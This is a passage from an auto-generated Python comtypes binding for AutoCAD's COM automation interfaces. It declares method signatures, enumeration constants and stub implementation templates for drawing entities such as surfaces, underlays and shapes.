_set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrText\n## def _set(self, bstrText):\n## '-no docstring-'\n## TextString = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Name\n## def _set(self, Name):\n## '-no docstring-'\n## StyleName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return align\n## def _set(self, align):\n## '-no docstring-'\n## Alignment = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return horizAlign\n## def _set(self, horizAlign):\n## '-no docstring-'\n## HorizontalAlignment = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return vertiAlign\n## def _set(self, vertiAlign):\n## '-no docstring-'\n## VerticalAlignment = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Height\n## def _set(self, Height):\n## '-no docstring-'\n## Height = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return rotAngle\n## def _set(self, rotAngle):\n## '-no docstring-'\n## Rotation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return scalFactor\n## def _set(self, scalFactor):\n## '-no docstring-'\n## ScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return obliAngle\n## def _set(self, obliAngle):\n## '-no docstring-'\n## ObliqueAngle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return alignPoint\n## def _set(self, alignPoint):\n## '-no docstring-'\n## TextAlignmentPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return insPoint\n## def _set(self, insPoint):\n## '-no docstring-'\n## InsertionPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Normal\n## def _set(self, Normal):\n## '-no docstring-'\n## Normal = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return textGenFlag\n## def _set(self, textGenFlag):\n## '-no docstring-'\n## TextGenerationFlag = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Thickness\n## def _set(self, Thickness):\n## '-no docstring-'\n## Thickness = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Mode\n## def _set(self, Mode):\n## '-no docstring-'\n## Mode = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bUpsideDown\n## def _set(self, bUpsideDown):\n## '-no docstring-'\n## UpsideDown = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bBackward\n## def _set(self, bBackward):\n## '-no docstring-'\n## Backward = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInvisible\n## def _set(self, bInvisible):\n## '-no docstring-'\n## Invisible = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bConstant\n## def _set(self, bConstant):\n## '-no docstring-'\n## Constant = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVerify\n## def _set(self, bVerify):\n## '-no docstring-'\n## Verify = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bPreset\n## def _set(self, bPreset):\n## '-no docstring-'\n## Preset = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bLockPosition\n## def _set(self, bLockPosition):\n## '-no docstring-'\n## LockPosition = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bMTextAttribute\n## def _set(self, bMTextAttribute):\n## '-no docstring-'\n## MTextAttribute = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return content\n## def _set(self, content):\n## '-no docstring-'\n## MTextAttributeContent = property(_get, _set, doc = _set.__doc__)\n##\n## def UpdateMTextAttribute(self):\n## '-no docstring-'\n## #return \n##\n## def _get(self):\n## '-no docstring-'\n## #return boundaryWidth\n## def _set(self, boundaryWidth):\n## '-no docstring-'\n## MTextBoundaryWidth = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return drawDir\n## def _set(self, drawDir):\n## '-no docstring-'\n## MTextDrawingDirection = property(_get, _set, doc = _set.__doc__)\n##\n\n\n# values for enumeration 'AcPlotRotation'\nac0degrees = 0\nac90degrees = 1\nac180degrees = 2\nac270degrees = 3\nAcPlotRotation = c_int # enum\n\n# values for enumeration 'AcOleQuality'\nacOQLineArt = 0\nacOQText = 1\nacOQGraphics = 2\nacOQPhoto = 3\nacOQHighPhoto = 4\nAcOleQuality = c_int # enum\nIAcadMInsertBlock._methods_ = [\n COMMETHOD([dispid(256), 'propput'], HRESULT, 'Columns',\n ( ['in'], c_int, 'NumColumns' )),\n COMMETHOD([dispid(256), 'propget'], HRESULT, 'Columns',\n ( ['out', 'retval'], POINTER(c_int), 'NumColumns' )),\n COMMETHOD([dispid(257), 'propput'], HRESULT, 'ColumnSpacing',\n ( ['in'], c_double, 'Spacing' )),\n COMMETHOD([dispid(257), 'propget'], HRESULT, 'ColumnSpacing',\n ( ['out', 'retval'], POINTER(c_double), 'Spacing' )),\n COMMETHOD([dispid(258), 'propput'], HRESULT, 'Rows',\n ( ['in'], c_int, 'NumRows' )),\n COMMETHOD([dispid(258), 'propget'], HRESULT, 'Rows',\n ( ['out', 'retval'], POINTER(c_int), 'NumRows' )),\n COMMETHOD([dispid(259), 'propput'], HRESULT, 'RowSpacing',\n ( ['in'], c_double, 'Spacing' )),\n COMMETHOD([dispid(259), 'propget'], HRESULT, 'RowSpacing',\n ( ['out', 'retval'], POINTER(c_double), 'Spacing' )),\n]\n################################################################\n## code template for IAcadMInsertBlock implementation\n##class IAcadMInsertBlock_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return NumColumns\n## def _set(self, NumColumns):\n## '-no docstring-'\n## Columns = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Spacing\n## def _set(self, Spacing):\n## '-no docstring-'\n## ColumnSpacing = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return NumRows\n## def _set(self, NumRows):\n## '-no docstring-'\n## Rows = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Spacing\n## def _set(self, Spacing):\n## '-no docstring-'\n## RowSpacing = property(_get, _set, doc = _set.__doc__)\n##\n\n\n# values for enumeration 'AcMeasurementUnits'\nacEnglish = 0\nacMetric = 1\nAcMeasurementUnits = c_int # enum\nIAcadDictionaries._methods_ = [\n COMMETHOD([dispid(0)], HRESULT, 'Item',\n ( ['in'], VARIANT, 'Index' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadObject)), 'pItem' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Count',\n ( ['out', 'retval'], POINTER(c_int), 'pCount' )),\n COMMETHOD([dispid(-4), 'restricted', 'hidden', 'propget'], HRESULT, '_NewEnum',\n ( ['out', 'retval'], POINTER(POINTER(IUnknown)), 'pVal' )),\n COMMETHOD([dispid(2)], HRESULT, 'Add',\n ( ['in'], BSTR, 'Name' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadDictionary)), 'pDimStyle' )),\n]\n################################################################\n## code template for IAcadDictionaries implementation\n##class IAcadDictionaries_Impl(object):\n## def Item(self, Index):\n## '-no docstring-'\n## #return pItem\n##\n## @property\n## def Count(self):\n## '-no docstring-'\n## #return pCount\n##\n## @property\n## def _NewEnum(self):\n## '-no docstring-'\n## #return pVal\n##\n## def Add(self, Name):\n## '-no docstring-'\n## #return pDimStyle\n##\n\n\n# values for enumeration 'AcPlotScale'\nacScaleToFit = 0\nac1_128in_1ft = 1\nac1_64in_1ft = 2\nac1_32in_1ft = 3\nac1_16in_1ft = 4\nac3_32in_1ft = 5\nac1_8in_1ft = 6\nac3_16in_1ft = 7\nac1_4in_1ft = 8\nac3_8in_1ft = 9\nac1_2in_1ft = 10\nac3_4in_1ft = 11\nac1in_1ft = 12\nac3in_1ft = 13\nac6in_1ft = 14\nac1ft_1ft = 15\nac1_1 = 16\nac1_2 = 17\nac1_4 = 18\nac1_5 = 19\nac1_8 = 20\nac1_10 = 21\nac1_16 = 22\nac1_20 = 23\nac1_30 = 24\nac1_40 = 25\nac1_50 = 26\nac1_100 = 27\nac2_1 = 28\nac4_1 = 29\nac8_1 = 30\nac10_1 = 31\nac100_1 = 32\nAcPlotScale = c_int # enum\nclass IAcadSurface(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{F7586B4E-2C0A-43E3-B986-AFCF2213CAE4}')\n _idlflags_ = ['dual', 'oleautomation']\nclass IAcadNurbSurface(IAcadSurface):\n _case_insensitive_ = True\n _iid_ = GUID('{627FF4D8-189F-4492-8E24-03F8EF7A3EE7}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadSurface._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'SurfaceType',\n ( ['out', 'retval'], POINTER(BSTR), 'SurfaceType' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'UIsolineDensity',\n ( ['out', 'retval'], POINTER(c_int), 'density' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'UIsolineDensity',\n ( ['in'], c_int, 'density' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'VIsolineDensity',\n ( ['out', 'retval'], POINTER(c_int), 'density' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'VIsolineDensity',\n ( ['in'], c_int, 'density' )),\n COMMETHOD([dispid(160), 'propget'], HRESULT, 'WireframeType',\n ( ['out', 'retval'], POINTER(AcWireframeType), 'Type' )),\n COMMETHOD([dispid(160), 'propput'], HRESULT, 'WireframeType',\n ( ['in'], AcWireframeType, 'Type' )),\n COMMETHOD([dispid(176), 'propget'], HRESULT, 'MaintainAssociativity',\n ( ['out', 'retval'], POINTER(c_int), 'maintainAssoc' )),\n COMMETHOD([dispid(176), 'propput'], HRESULT, 'MaintainAssociativity',\n ( ['in'], c_int, 'maintainAssoc' )),\n COMMETHOD([dispid(177), 'propget'], HRESULT, 'ShowAssociativity',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bEnabled' )),\n COMMETHOD([dispid(177), 'propput'], HRESULT, 'ShowAssociativity',\n ( ['in'], VARIANT_BOOL, 'bEnabled' )),\n COMMETHOD([dispid(161), 'propget'], HRESULT, 'EdgeExtensionDistances',\n ( ['out', 'retval'], POINTER(VARIANT), 'extDistances' )),\n COMMETHOD([dispid(161), 'propput'], HRESULT, 'EdgeExtensionDistances',\n ( ['in'], VARIANT, 'extDistances' )),\n COMMETHOD([dispid(193), 'propget'], HRESULT, 'SurfTrimAssociativity',\n ( ['out', 'retval'], POINTER(VARIANT), 'associative' )),\n COMMETHOD([dispid(193), 'propput'], HRESULT, 'SurfTrimAssociativity',\n ( ['in'], VARIANT, 'associative' )),\n]\n################################################################\n## code template for IAcadSurface implementation\n##class IAcadSurface_Impl(object):\n## @property\n## def SurfaceType(self):\n## '-no docstring-'\n## #return SurfaceType\n##\n## def _get(self):\n## '-no docstring-'\n## #return density\n## def _set(self, density):\n## '-no docstring-'\n## UIsolineDensity = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return density\n## def _set(self, density):\n## '-no docstring-'\n## VIsolineDensity = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## WireframeType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return maintainAssoc\n## def _set(self, maintainAssoc):\n## '-no docstring-'\n## MaintainAssociativity = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bEnabled\n## def _set(self, bEnabled):\n## '-no docstring-'\n## ShowAssociativity = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return extDistances\n## def _set(self, extDistances):\n## '-no docstring-'\n## EdgeExtensionDistances = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return associative\n## def _set(self, associative):\n## '-no docstring-'\n## SurfTrimAssociativity = property(_get, _set, doc = _set.__doc__)\n##\n\nIAcadNurbSurface._methods_ = [\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'CvHullDisplay',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'Display' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'CvHullDisplay',\n ( ['in'], VARIANT_BOOL, 'Display' )),\n]\n################################################################\n## code template for IAcadNurbSurface implementation\n##class IAcadNurbSurface_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Display\n## def _set(self, Display):\n## '-no docstring-'\n## CvHullDisplay = property(_get, _set, doc = _set.__doc__)\n##\n\n\n# values for enumeration 'AcAlignmentPointAcquisition'\nacAlignPntAcquisitionAutomatic = 0\nacAlignPntAcquisitionShiftToAcquire = 1\nAcAlignmentPointAcquisition = c_int # enum\nclass AcadSubDMeshVertex(CoClass):\n _reg_clsid_ = GUID('{1CF6419C-EB08-446A-B21A-8648A9B44565}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadSubDMeshVertex._com_interfaces_ = [IAcadSubDMeshVertex]\nAcadSubDMeshVertex._outgoing_interfaces_ = [IAcadObjectEvents]\n\n\n# values for enumeration 'AcDrawingAreaShortCutMenu'\nacNoDrawingAreaShortCutMenu = 0\nacUseDefaultDrawingAreaShortCutMenu = 1\nAcDrawingAreaShortCutMenu = c_int # enum\n\n# values for enumeration 'AcPlotPolicy'\nacPolicyNamed = 0\nacPolicyLegacy = 1\nAcPlotPolicy = c_int # enum\nclass IAcadIdPair(comtypes.gen._00020430_0000_0000_C000_000000000046_0_2_0.IDispatch):\n _case_insensitive_ = True\n _iid_ = GUID('{6C8C749A-F80C-4FEE-BF0D-C0F354F24D34}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadIdPair._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'IsCloned',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pVal' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'IsOwnerXlated',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pVal' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'IsPrimary',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pVal' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'key',\n ( ['out', 'retval'], POINTER(LONG_PTR), 'pVal' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'Value',\n ( ['out', 'retval'], POINTER(LONG_PTR), 'pVal' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'Application',\n ( ['out', 'retval'], POINTER(POINTER(IDispatch)), 'ApplicationObject' )),\n]\n################################################################\n## code template for IAcadIdPair implementation\n##class IAcadIdPair_Impl(object):\n## @property\n## def IsCloned(self):\n## '-no docstring-'\n## #return pVal\n##\n## @property\n## def IsOwnerXlated(self):\n## '-no docstring-'\n## #return pVal\n##\n## @property\n## def IsPrimary(self):\n## '-no docstring-'\n## #return pVal\n##\n## @property\n## def key(self):\n## '-no docstring-'\n## #return pVal\n##\n## @property\n## def Value(self):\n## '-no docstring-'\n## #return pVal\n##\n## @property\n## def Application(self):\n## '-no docstring-'\n## #return ApplicationObject\n##\n\n\n# values for enumeration 'AcPlotPolicyForNewDwgs'\nacPolicyNewDefault = 0\nacPolicyNewLegacy = 1\nAcPlotPolicyForNewDwgs = c_int # enum\n\n# values for enumeration 'AcInsertUnits'\nacInsertUnitsUnitless = 0\nacInsertUnitsInches = 1\nacInsertUnitsFeet = 2\nacInsertUnitsMiles = 3\nacInsertUnitsMillimeters = 4\nacInsertUnitsCentimeters = 5\nacInsertUnitsMeters = 6\nacInsertUnitsKilometers = 7\nacInsertUnitsMicroinches = 8\nacInsertUnitsMils = 9\nacInsertUnitsYards = 10\nacInsertUnitsAngstroms = 11\nacInsertUnitsNanometers = 12\nacInsertUnitsMicrons = 13\nacInsertUnitsDecimeters = 14\nacInsertUnitsDecameters = 15\nacInsertUnitsHectometers = 16\nacInsertUnitsGigameters = 17\nacInsertUnitsAstronomicalUnits = 18\nacInsertUnitsLightYears = 19\nacInsertUnitsParsecs = 20\nacInsertUnitsUSSurveyFeet = 21\nacInsertUnitsUSSurveyInch = 22\nacInsertUnitsUSSurveyYard = 23\nacInsertUnitsUSSurveyMile = 24\nAcInsertUnits = c_int # enum\nclass IAcadUnderlay(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{FEC1A381-2B34-4AA6-BFCC-809AD648D875}')\n _idlflags_ = ['dual', 'oleautomation']\nclass IAcadDwfUnderlay(IAcadUnderlay):\n _case_insensitive_ = True\n _iid_ = GUID('{474EC52B-6DC6-4025-801B-575832A3E580}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadUnderlay._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Contrast',\n ( ['out', 'retval'], POINTER(c_int), 'Contrast' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Contrast',\n ( ['in'], c_int, 'Contrast' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Fade',\n ( ['out', 'retval'], POINTER(c_int), 'Fade' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'Fade',\n ( ['in'], c_int, 'Fade' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Position',\n ( ['out', 'retval'], POINTER(VARIANT), 'pos' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Position',\n ( ['in'], VARIANT, 'pos' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'Rotation',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'rotAngle' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'Rotation',\n ( ['in'], ACAD_ANGLE, 'rotAngle' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'Width',\n ( ['out', 'retval'], POINTER(c_double), 'Width' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'Width',\n ( ['in'], c_double, 'Width' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'Height',\n ( ['out', 'retval'], POINTER(c_double), 'Height' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'Height',\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'UnderlayName',\n ( ['out', 'retval'], POINTER(BSTR), 'Name' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'UnderlayName',\n ( ['in'], BSTR, 'Name' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'ItemName',\n ( ['in'], BSTR, 'sheetName' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'ItemName',\n ( ['out', 'retval'], POINTER(BSTR), 'sheetName' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'Monochrome',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bMono' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'Monochrome',\n ( ['in'], VARIANT_BOOL, 'bMono' )),\n COMMETHOD([dispid(15), 'propget'], HRESULT, 'AdjustForBackground',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'Value' )),\n COMMETHOD([dispid(15), 'propput'], HRESULT, 'AdjustForBackground',\n ( ['in'], VARIANT_BOOL, 'Value' )),\n COMMETHOD([dispid(11)], HRESULT, 'ClipBoundary',\n ( ['in'], VARIANT, 'boundry' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'ScaleFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'ScaleFactor' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'ScaleFactor',\n ( ['in'], ACAD_NOUNITS, 'ScaleFactor' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'File',\n ( ['out', 'retval'], POINTER(BSTR), 'Name' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'File',\n ( ['in'], BSTR, 'Name' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'UnderlayVisibility',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'fVisible' )),\n COMMETHOD([dispid(14), 'propput'], HRESULT, 'UnderlayVisibility',\n ( ['in'], VARIANT_BOOL, 'fVisible' )),\n COMMETHOD([dispid(16), 'propget'], HRESULT, 'ClippingEnabled',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'kClip' )),\n COMMETHOD([dispid(16), 'propput'], HRESULT, 'ClippingEnabled',\n ( ['in'], VARIANT_BOOL, 'kClip' )),\n COMMETHOD([dispid(17), 'propget'], HRESULT, 'UnderlayLayerOverrideApplied',\n ( ['out', 'retval'], POINTER(AcUnderlayLayerOverrideType), 'bOverride' )),\n COMMETHOD([dispid(17), 'propput'], HRESULT, 'UnderlayLayerOverrideApplied',\n ( ['in'], AcUnderlayLayerOverrideType, 'bOverride' )),\n]\n################################################################\n## code template for IAcadUnderlay implementation\n##class IAcadUnderlay_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Contrast\n## def _set(self, Contrast):\n## '-no docstring-'\n## Contrast = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Fade\n## def _set(self, Fade):\n## '-no docstring-'\n## Fade = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pos\n## def _set(self, pos):\n## '-no docstring-'\n## Position = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return rotAngle\n## def _set(self, rotAngle):\n## '-no docstring-'\n## Rotation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Width\n## def _set(self, Width):\n## '-no docstring-'\n## Width = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Height\n## def _set(self, Height):\n## '-no docstring-'\n## Height = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Name\n## def _set(self, Name):\n## '-no docstring-'\n## UnderlayName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return sheetName\n## def _set(self, sheetName):\n## '-no docstring-'\n## ItemName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bMono\n## def _set(self, bMono):\n## '-no docstring-'\n## Monochrome = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Value\n## def _set(self, Value):\n## '-no docstring-'\n## AdjustForBackground = property(_get, _set, doc = _set.__doc__)\n##\n## def ClipBoundary(self, boundry):\n## '-no docstring-'\n## #return \n##\n## def _get(self):\n## '-no docstring-'\n## #return ScaleFactor\n## def _set(self, ScaleFactor):\n## '-no docstring-'\n## ScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Name\n## def _set(self, Name):\n## '-no docstring-'\n## File = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return fVisible\n## def _set(self, fVisible):\n## '-no docstring-'\n## UnderlayVisibility = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return kClip\n## def _set(self, kClip):\n## '-no docstring-'\n## ClippingEnabled = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bOverride\n## def _set(self, bOverride):\n## '-no docstring-'\n## UnderlayLayerOverrideApplied = property(_get, _set, doc = _set.__doc__)\n##\n\nIAcadDwfUnderlay._methods_ = [\n COMMETHOD([dispid(18), 'propget'], HRESULT, 'DWFFormat',\n ( ['out', 'retval'], POINTER(BSTR), 'Name' )),\n COMMETHOD([dispid(18), 'propput'], HRESULT, 'DWFFormat',\n ( ['in'], BSTR, 'Name' )),\n]\n################################################################\n## code template for IAcadDwfUnderlay implementation\n##class IAcadDwfUnderlay_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Name\n## def _set(self, Name):\n## '-no docstring-'\n## DWFFormat = property(_get, _set, doc = _set.__doc__)\n##\n\nclass IAcadRegisteredApplication(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{06050E6D-A9B2-4C5A-909A-FA40CC57AB61}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadRegisteredApplication._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Name',\n ( ['in'], BSTR, 'bstrName' )),\n]\n################################################################\n## code template for IAcadRegisteredApplication implementation\n##class IAcadRegisteredApplication_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## Name = property(_get, _set, doc = _set.__doc__)\n##\n\nclass AcadSectionManager(CoClass):\n _reg_clsid_ = GUID('{0E200E45-5A20-450A-B87A-E0E9E0CB4EF2}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadSectionManager._com_interfaces_ = [IAcadSectionManager]\nAcadSectionManager._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadLoftedSurface(CoClass):\n _reg_clsid_ = GUID('{73714CBA-4CB6-4EC8-B6EB-45032AD1FF0F}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadLoftedSurface(IAcadSurface):\n _case_insensitive_ = True\n _iid_ = GUID('{8A5CEF4D-2D2D-42DA-9F84-83331313E502}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadLoftedSurface._com_interfaces_ = [IAcadLoftedSurface]\nAcadLoftedSurface._outgoing_interfaces_ = [IAcadObjectEvents]\n\nIAcadShape._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'InsertionPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'insPoint' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'InsertionPoint',\n ( ['in'], VARIANT, 'insPoint' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'Name',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Height',\n ( ['out', 'retval'], POINTER(c_double), 'Height' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Height',\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'Rotation',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'rotAngle' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'Rotation',\n ( ['in'], ACAD_ANGLE, 'rotAngle' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'ScaleFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'scalFactor' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'ScaleFactor',\n ( ['in'], ACAD_NOUNITS, 'scalFactor' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'ObliqueAngle',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'obliAngle' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'ObliqueAngle',\n ( ['in'], ACAD_ANGLE, 'obliAngle' )),\n COMMETHOD([dispid(7), 'nonbrowsable', 'propget'], HRESULT, 'Normal',\n ( ['out', 'retval'], POINTER(VARIANT), 'Normal' )),\n COMMETHOD([dispid(7), 'nonbrowsable', 'propput'], HRESULT, 'Normal',\n ( ['in'], VARIANT, 'Normal' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'Thickness',\n ( ['out', 'retval'], POINTER(c_double), 'Thickness' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'Thickness',\n ( ['in'], c_double, 'Thickness' )),\n]\n################################################################\n## code template for IAcadShape implementation\n##class IAcadShape_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return insPoint\n## def _set(self, insPoint):\n## '-no docstring-'\n## InsertionPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## Name = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Height\n## def _set(self, Height):\n## '-no docstring-'\n## Height = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return rotAngle\n## def _set(self, rotAngle):\n## '-no docstring-'\n## Rotation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return scalFactor\n## def _set(self, scalFactor):\n## '-no docstring-'\n## ScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## 